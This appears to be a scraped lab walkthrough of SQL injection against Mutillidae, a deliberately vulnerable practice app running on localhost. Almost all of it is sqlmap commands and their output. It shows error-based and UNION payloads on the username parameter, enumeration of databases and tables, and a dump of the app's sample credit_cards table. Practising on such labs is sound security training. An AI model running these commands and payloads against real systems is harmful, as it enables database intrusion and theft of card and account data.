GET http://127.0.0.1/mutillidae/index.php?page=user- info.php&username=admin&password=password&user-info-php-submit- button=View+Account+Details HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://127.0.0.1/mutillidae/index.php?page=user-info.php Cookie: showhints=1; PHPSESSID=aqvrdm615sm8k7isopefgbhega Connection: keep-alive Upgrade-Insecure-Requests: 1 Host: 127.0.0.1
sqlmap -r reqest_sqlmap.txt --banner
[23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 181 HTTP(s) requests: --- Parameter: username (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: page=user-info.php&username=admin' AND (SELECT 5399 FROM(SELECT COUNT(*),CONCAT(0x7171707871,(SELECT (ELT(5399=5399,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UUZA'='UUZA&password=password&user-info-php-submit-button=View Account Details Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: page=user-info.php&username=admin' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171707871,0x4d754c5372467a65665a4c7672636e4c4a554777547162474e666f784e6b69754a43544a41675a50,0x71706a6271),NULL,NULL,NULL-- GGvT&password=password&user-info-php-submit-button=View Account Details --- [23:20:10] [INFO] the back-end DBMS is MySQL [23:20:10] [INFO] fetching banner web server operating system: Windows web application technology: Apache 2.4.29, PHP 7.2.3 back-end DBMS: MySQL >= 5.0 banner: '10.1.31-MariaDB' [23:20:10] [INFO] fetched data logged to text files under '/home/belowzero273/.sqlmap/output/127.0.0.1'
[23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL --dbs
[23:27:19] [WARNING] reflective value(s) found and filtering out available databases [6]: [*] information_schema [*] mutillidae [*] mysql [*] performance_schema [*] phpmyadmin [*] test
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae --tables
[23:29:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae [13 tables] +----------------------------+ | accounts | | balloon_tips | | blogs_table | | captured_data | | credit_cards | | help_texts | | hitlog | | level_1_help_include_files | | page_help | | page_hints | | pen_test_tools | | user_poll_results | | youtubevideos | +----------------------------+
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credita_cards --columns
[23:31:35] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [4 columns] +------------+---------+ | Column | Type | +------------+---------+ | ccid | int(11) | | ccnumber | text | | ccv | text | | expiration | date | +------------+---------+
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credit_cards --dump
[23:32:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [5 entries] +------+-----+----------------------------+-----------------+ | ccid | ccv | ccnumber | expiration | +------+-----+----------------------------+-----------------+ | 1 | 745 | 4444111122223333 | 2012-03-01 | | 2 | 722 | 7746536337776330 | 2015-04-01 | | 3 | 461 | 8242325748474749 | 2016-03-01 | | 4 | 230 | 7725653200487633 | 2017-06-01 | | 5 | 627 | 1234567812345678 | 2018-11-01 | +------+-----+----------------------------+-----------------+
Source: https://habr.com/ru/post/429706/
All Articles